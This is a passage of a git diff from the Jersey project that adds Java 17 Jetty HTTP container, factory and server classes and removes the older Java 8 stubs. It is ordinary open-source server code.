+     * An internal binder to enable Jetty HTTP container specific types injection.
+     * This binder allows to inject underlying Jetty HTTP request and response instances.
+     * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
+     * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
+     * {@link jakarta.inject.Provider injection provider}.
+     */
+    private static class JettyBinder extends AbstractBinder {
+
+        @Override
+        protected void configure() {
+            bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
+                    .proxy(false).in(RequestScoped.class);
+            bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
+                    .in(RequestScoped.class);
+
+            bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
+                    .proxy(false).in(RequestScoped.class);
+            bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
+                    .in(RequestScoped.class);
+        }
+    }
+
+    private volatile ApplicationHandler appHandler;
+
+    @Override
+    public boolean handle(Request request, Response response, Callback callback) throws Exception {
+
+        final ResponseWriter responseWriter = new ResponseWriter(request, response, callback, configSetStatusOverSendError);
+        try {
+            LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED());
+            final URI baseUri = getBaseUri(request);
+            final URI requestUri = getRequestUri(request, baseUri);
+            final ContainerRequest requestContext = new ContainerRequest(
+                    baseUri,
+                    requestUri,
+                    request.getMethod(),
+                    getSecurityContext(request),
+                    new MapPropertiesDelegate(),
+                    appHandler.getConfiguration());
+            requestContext.setEntityStream(Request.asInputStream(request));
+            request.getHeaders().forEach(httpField ->
+                    requestContext.headers(httpField.getName(), httpField.getValue() == null ? "" : httpField.getValue()));
+            requestContext.setWriter(responseWriter);
+            requestContext.setRequestScopedInitializer(injectionManager -> {
+                injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
+                injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
+            });
+
+            appHandler.handle(requestContext);
+            return true;
+        } catch (URISyntaxException e) {
+            setResponseForInvalidUri(request, response, callback, e);
+            return true;
+        } catch (final Exception ex) {
+            callback.failed(ex);
+            throw new RuntimeException(ex);
+        }
+    }
+
+    private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+        final String serverAddress = getServerAddress(baseUri);
+        String uri = request.getHttpURI().getPath();
+
+        final String queryString = request.getHttpURI().getQuery();
+        if (queryString != null) {
+            uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+        }
+
+        return new URI(serverAddress + uri);
+    }
+
+    private void setResponseForInvalidUri(final Request request, final Response response,
+                                          final Callback callback, final Throwable throwable) {
+        LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+        if (configSetStatusOverSendError) {
+            response.reset();
+            response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
+            callback.failed(throwable);
+        } else {
+            Response.writeError(request, response, callback, BAD_REQUEST_STATUS.getStatusCode(),
+                    BAD_REQUEST_STATUS.getReasonPhrase(), throwable);
+        }
+    }
+
+    private String getServerAddress(URI baseUri) {
+        String serverAddress = baseUri.toString();
+        if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
+            return serverAddress.substring(0, serverAddress.length() - 1);
+        }
+        return serverAddress;
+    }
+
+    private SecurityContext getSecurityContext(final Request request) {
+
+        AuthenticationState.Succeeded authenticationState = AuthenticationState.authenticate(request);
+
+        return new SecurityContext() {
+
+            @Override
+            public boolean isUserInRole(final String role) {
+                return authenticationState != null && authenticationState.isUserInRole(role);
+            }
+
+            @Override
+            public boolean isSecure() {
+                return request.isSecure();
+            }
+
+            @Override
+            public Principal getUserPrincipal() {
+                return authenticationState != null ? authenticationState.getUserIdentity().getUserPrincipal() : null;
+            }
+
+            @Override
+            public String getAuthenticationScheme() {
+                return authenticationState != null ? authenticationState.getAuthenticationType() : null;
+            }
+        };
+    }
+
+
+    private URI getBaseUri(final Request request) throws URISyntaxException {
+        return new URI(request.getHttpURI().getScheme(), null, Request.getServerName(request),
+                Request.getServerPort(request), getBasePath(request), null, null);
+    }
+
+    private String getBasePath(final Request request) {
+        final String contextPath = Request.getContextPath(request);
+
+        if (contextPath == null || contextPath.isEmpty()) {
+            return "/";
+        } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
+            return contextPath + "/";
+        } else {
+            return contextPath;
+        }
+    }
+
+    private static class ResponseWriter implements ContainerResponseWriter {
+
+        private final Request request;
+        private final Response response;
+        private final Callback callback;
+        private final boolean configSetStatusOverSendError;
+        private final long asyncStartTimeNanos;
+        private final Scheduler scheduler;
+        private final ConcurrentLinkedQueue<TimeoutHandler> timeoutHandlerQueue = new ConcurrentLinkedQueue<>();
+        private Scheduler.Task currentTimerTask;
+
+        ResponseWriter(final Request request, final Response response,
+                       final Callback callback, final boolean configSetStatusOverSendError) {
+            this.request = request;
+            this.response = response;
+            this.callback = callback;
+            this.asyncStartTimeNanos = System.nanoTime();
+            this.configSetStatusOverSendError = configSetStatusOverSendError;
+
+            this.scheduler = request.getComponents().getScheduler();
+        }
+
+        private synchronized void setNewTimeout(long timeOut, TimeUnit timeUnit) {
+            long timeOutNanos = timeUnit.toNanos(timeOut);
+            if (currentTimerTask != null) {
+                // Do not interrupt, see callTimeoutHandlers()
+                currentTimerTask.cancel();
+            }
+            // Use System.nanoTime() as the clock source here, because the returned value is not prone to wall-clock
+            // drift - unlike System.currentTimeMillis().
+            long delayNanos = Math.max(asyncStartTimeNanos - System.nanoTime() + timeOutNanos, 0L);
+            currentTimerTask = scheduler.schedule(this::callTimeoutHandlers, delayNanos, TimeUnit.NANOSECONDS);
+        }
+
+        private void callTimeoutHandlers() {
+            // Note: Although it might not happen in practice, it is in theory possible that this function is
+            // called multiple times concurrently. To prevent any timeout handler being called twice, we poll()
+            // timeout handlers from the queue, instead of iterating over the queue.
+            while (true) {
+                TimeoutHandler handler = timeoutHandlerQueue.poll();
+                if (handler == null) {
+                    break;
+                }
+                handler.onTimeout(ResponseWriter.this);
+            }
+        }
+
+        @Override
+        public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
+                throws ContainerException {
+
+            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
+
+            final int code = statusInfo.getStatusCode();
+
+            response.setStatus(code);
+
+            if (contentLength != -1 && contentLength < Integer.MAX_VALUE && !"HEAD".equals(request.getMethod())) {
+                response.getHeaders().add(new HttpField(HttpHeader.CONTENT_LENGTH, String.valueOf((int) contentLength)));
+            }
+            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
+                for (final String value : e.getValue()) {
+                    response.getHeaders().add(new HttpField(e.getKey(), value));
+                }
+            }
+
+            return Content.Sink.asOutputStream(response);
+        }
+
+        @Override
+        public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
+            if (timeOut > 0) {
+                setNewTimeout(timeOut, timeUnit);
+            }
+            if (timeoutHandler != null) {
+                timeoutHandlerQueue.add(timeoutHandler);
+            }
+            return true;
+        }
+
+        @Override
+        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
+            if (timeOut > 0) {
+                setNewTimeout(timeOut, timeUnit);
+            }
+        }
+
+        @Override
+        public void commit() {
+            callback.succeeded();
+            LOGGER.log(Level.FINEST, "commit() called");
+        }
+
+        @Override
+        public void failure(final Throwable error) {
+            try {
+                if (!response.isCommitted()) {
+                    try {
+                        if (configSetStatusOverSendError) {
+                            response.reset();
+                            response.setStatus(INTERNAL_SERVER_ERROR);
+                            callback.failed(error);
+                        } else {
+                            Response.writeError(request, response, callback, INTERNAL_SERVER_ERROR, "Request failed.", error);
+                        }
+                    } catch (final IllegalStateException ex) {
+                        // a race condition externally committing the response can still occur...
+                        LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
+                    }
+                }
+            } finally {
+                LOGGER.log(Level.FINEST, "failure(...) called");
+                rethrow(error);
+            }
+        }
+
+        @Override
+        public boolean enableResponseBuffering() {
+            return false;
+        }
+
+        /**
+         * Rethrow the original exception as required by JAX-RS, 3.3.4.
+         *
+         * @param error throwable to be re-thrown
+         */
+        private void rethrow(final Throwable error) {
+            if (error instanceof RuntimeException) {
+                throw (RuntimeException) error;
+            } else {
+                throw new ContainerException(error);
+            }
+        }
+
+    }
+
+    @Override
+    public ResourceConfig getConfiguration() {
+        return appHandler.getConfiguration();
+    }
+
+    @Override
+    public void reload() {
+        reload(new ResourceConfig(getConfiguration()));
+    }
+
+    @Override
+    public void reload(final ResourceConfig configuration) {
+        appHandler.onShutdown(this);
+
+        appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
+        appHandler.onReload(this);
+        appHandler.onStartup(this);
+        cacheConfigSetStatusOverSendError();
+    }
+
+    @Override
+    public ApplicationHandler getApplicationHandler() {
+        return appHandler;
+    }
+
+    /**
+     * Inform this container that the server has been started.
+     * This method must be implicitly called after the server containing this container is started.
+     *
+     * @throws java.lang.Exception if a problem occurred during server startup.
+     */
+    @Override
+    protected void doStart() throws Exception {
+        super.doStart();
+        appHandler.onStartup(this);
+    }
+
+    /**
+     * Inform this container that the server is being stopped.
+     * This method must be implicitly called before the server containing this container is stopped.
+     *
+     * @throws java.lang.Exception if a problem occurred during server shutdown.
+     */
+    @Override
+    public void doStop() throws Exception {
+        super.doStop();
+        appHandler.onShutdown(this);
+        appHandler = null;
+
+        boolean needInterrupt = false;
+        if (needInterrupt) {
+            Thread.currentThread().interrupt();
+        }
+    }
+
+    private static final AtomicInteger TIMEOUT_HANDLER_ID_GEN = new AtomicInteger();
+
+    /**
+     * Create a new Jetty HTTP container.
+     *
+     * @param application   JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     */
+    JettyHttpContainer(final Application application, final Object parentContext) {
+        this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+    }
+
+    /**
+     * Create a new Jetty HTTP container.
+     *
+     * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+     */
+    JettyHttpContainer(final Application application) {
+        this.appHandler = new ApplicationHandler(application, new JettyBinder());
+
+        cacheConfigSetStatusOverSendError();
+    }
+
+    /**
+     * Create a new Jetty HTTP container.
+     *
+     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
+     */
+    JettyHttpContainer(final Class<? extends Application> applicationClass) {
+        this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
+
+        cacheConfigSetStatusOverSendError();
+    }
+
+    /**
+     * The method reads and caches value of configuration property
+     * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+     */
+    private void cacheConfigSetStatusOverSendError() {
+        this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
+                ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+    }
+
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
new file mode 100644
index 0000000..cb66f21
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.util.concurrent.ThreadFactory;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.innate.VirtualThreadUtil;
+import org.glassfish.jersey.innate.virtual.LoomishExecutors;
+import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.SecureRequestCustomizer;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
+/**
+ * Factory for creating and starting Jetty server handlers. This returns
+ * a handle to the started server as {@link Server} instances, which allows
+ * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ * <p/>
+ * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
+ * This will be used to decrypt and encrypt information sent over the
+ * connected TCP socket channel.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerFactory {
+
+    private JettyHttpContainerFactory() {
+    }
+
+    /**
+     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *            segment will be used as context path, the rest will be ignored.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri) throws ProcessingException {
+        return createServer(uri, null, null, true);
+    }
+
+    /**
+     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *              segment will be used as context path, the rest will be ignored.
+     * @param start if set to false, server will not get started, which allows to configure the underlying transport
+     *              layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
+        return createServer(uri, null, null, start);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri    the URI to create the http server. The URI scheme must be
+     *               equal to "http". The URI user information and host
+     *               are ignored If the URI port is not present then port 80 will be
+     *               used. The URI path, query and fragment components are ignored.
+     * @param config the resource configuration.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final ResourceConfig config)
+            throws ProcessingException {
+
+        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+        return createServer(uri, null, container, true);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
+     *                      used as context path, the rest will be ignored.
+     * @param configuration web application configuration.
+     * @param start         if set to false, server will not get started, which allows to configure the underlying
+     *                      transport layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
+            throws ProcessingException {
+        return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+    }
+
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @param start         if set to false, server will not get started, this allows end users to set
+     *                      additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     * @since 2.12
+     */
+    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
+                                      final Object parentContext) {
+        return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
+    }
+
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     * @since 2.12
+     */
+    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
+        return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param config            the resource configuration.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
+                                      final ResourceConfig config)
+            throws ProcessingException {
+        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+        return createServer(uri, sslContextFactory, container, true);
+    }
+
+    /**
+     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes found by searching the
+     * classes referenced in the java classpath.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param handler           the container that handles all HTTP requests
+     * @param start             if set to false, server will not get started, this allows end users to set
+     *                          additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see JettyHttpContainer
+     */
+    public static Server createServer(final URI uri,
+                                      final SslContextFactory.Server sslContextFactory,
+                                      final JettyHttpContainer handler,
+                                      final boolean start) {
+        if (uri == null) {
+            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
+        }
+        final String scheme = uri.getScheme();
+        int defaultPort = Container.DEFAULT_HTTP_PORT;
+
+        if (sslContextFactory == null) {
+            if (!"http".equalsIgnoreCase(scheme)) {
+                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
+            }
+        } else {
+            if (!"https".equalsIgnoreCase(scheme)) {
+                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
+            }
+            defaultPort = Container.DEFAULT_HTTPS_PORT;
+        }
+        final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
+
+        final Configuration configuration = handler != null ? handler.getConfiguration() : null;
+        final Server server = new Server(new JettyConnectorThreadPool(configuration));
+        final HttpConfiguration config = new HttpConfiguration();
+        if (sslContextFactory != null) {
+            config.setSecureScheme("https");
+            config.setSecurePort(port);
+            config.addCustomizer(new SecureRequestCustomizer());
+
+            final ServerConnector https = new ServerConnector(server,
+                    new SslConnectionFactory(sslContextFactory, "http/1.1"),
+                    new HttpConnectionFactory(config));
+            https.setPort(port);
+            server.setConnectors(new Connector[]{https});
+
+        } else {
+            final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
+            http.setPort(port);
+            server.setConnectors(new Connector[]{http});
+        }
+        if (handler != null) {
+            server.setHandler(handler);
+        }
+
+        if (start) {
+            try {
+                // Start the server.
+                server.start();
+            } catch (final Exception e) {
+                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+            }
+        }
+        return server;
+    }
+
+    // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
+    //  #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
+    //
+    //  Keeping this for backwards compatibility for the time being
+    private static final class JettyConnectorThreadPool extends QueuedThreadPool {
+        private final ThreadFactory threadFactory;
+
+        private JettyConnectorThreadPool(Configuration configuration) {
+            final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false);
+            if (executors.isVirtual()) {
+                super.setMaxThreads(Integer.MAX_VALUE - 1);
+            }
+
+            this.threadFactory = new ThreadFactoryBuilder()
+                    .setNameFormat("jetty-http-server-%d")
+                    .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
+                    .setThreadFactory(executors.getThreadFactory())
+                    .build();
+        }
+
+        @Override
+        public Thread newThread(Runnable runnable) {
+            return threadFactory.newThread(runnable);
+        }
+    }
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 0000000..9734342
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+    private final JettyHttpContainer container;
+
+    private final org.eclipse.jetty.server.Server httpServer;
+
+    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+    }
+
+    JettyHttpServer(final Class<? extends Application> applicationClass,
+                    final JerseySeBootstrapConfiguration configuration) {
+        this(new JettyHttpContainer(applicationClass), configuration);
+    }
+
+    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+                .sslClientAuthentication();
+        final SslContextFactory.Server sslContextFactory;
+        if (configuration.isHttps()) {
+            sslContextFactory = new SslContextFactory.Server();
+            sslContextFactory.setSslContext(configuration.sslContext());
+            sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
+            sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
+        } else {
+            sslContextFactory = null;
+        }
+        this.container = container;
+        this.httpServer = JettyHttpContainerFactory.createServer(
+                configuration.uri(true),
+                sslContextFactory,
+                this.container,
+                configuration.autoStart());
+    }
+
+    @Override
+    public final JettyHttpContainer container() {
+        return this.container;
+    }
+
+    @Override
+    public final int port() {
+        final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
+        final int configuredPort = serverConnector.getPort();
+        final int localPort = serverConnector.getLocalPort();
+        return localPort < 0 ? configuredPort : localPort;
+    }
+
+    @Override
+    public final CompletableFuture<Void> start() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.httpServer.start();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.httpServer.stop();
+            } catch (final Exception e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        return nativeClass.cast(this.httpServer);
+    }
+
+}
diff --git a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java
deleted file mode 100644
index a2159c8..0000000
--- a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-/**
- * Jersey {@code Container} stub based on Jetty {@link org.eclipse.jetty.server.Handler}.
- *
- * For JDK 1.8 only since Jetty 11 does not support JDKs below 11
- *
- */
-public final class JettyHttpContainer implements Container {
-
-    public JettyHttpContainer(Application application) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    public JettyHttpContainer(Application application, final Object parentContext) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public void reload() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public void reload(ResourceConfig configuration) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-}
diff --git a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
deleted file mode 100644
index 1218c2e..0000000
--- a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
